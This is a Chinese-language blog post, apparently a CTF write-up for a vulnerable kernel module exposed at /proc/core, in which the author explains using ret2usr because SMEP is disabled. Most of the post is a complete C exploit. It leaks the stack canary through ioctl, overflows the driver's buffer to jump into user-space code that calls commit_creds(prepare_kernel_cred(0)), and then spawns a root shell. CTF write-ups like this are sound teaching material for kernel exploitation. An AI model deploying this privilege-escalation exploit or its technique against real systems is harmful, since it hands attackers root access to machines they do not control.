linux kernel pwn 初探(4) ret2usr

还是同一道题,这次用不同的做法

看到题目没开smep,所以就试着用ret2usr,网上搜了一圈,好像也没什么资料

但是有比较粗略的介绍说是劫持控制流到用户空间,于是测试了下,发现还真的能直接返回

能直接返回那就不用辛辛苦苦的去构造rop链了

直接调用commit_creds(prepare_kernel_cred (0));就完事了

poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
int * commit_creds;
int * base_addr;
int * prepare_kernel_cred;
int * ret2ioctl;

void poc()
{
__asm__("mov rdi,0;"
"call [prepare_kernel_cred];"
"mov rdi,rax;"
"call [commit_creds];"
"pop rbp;"
"jmp [ret2ioctl];"
);
}

int main()
{
FILE* base=popen("grep startup_64 /tmp/kallsyms |awk -F' ' '{print $1}'","r");
fscanf(base,"%p",&base_addr);
commit_creds=(long unsigned int)base_addr+0x9c8e0;
prepare_kernel_cred=(long unsigned int)base_addr+0x9cce0;

printf("base_addr is %lx\n",base_addr);
printf("commit_creds is %lx\n",commit_creds);
printf("prepare is %lx\n",prepare_kernel_cred);

fclose(base);
int fd = open("/proc/core",O_WRONLY);

if(fd<0)
{
printf("open core failed\n");
exit(-1);
}

ioctl(fd,0x6677889C,0x40); //set offset
long long canary[0x10];
long long payload[0x40];

ioctl(fd,0x6677889B,canary); //get canary

ret2ioctl=canary[2];

payload[8]=canary[0];
payload[9]=canary[1];


payload[10]=poc;

write(fd,payload,0x200);
long long v=0xffffffff00000058;
ioctl(fd,0x6677889A,v);


system("/bin/sh");
return 0;
}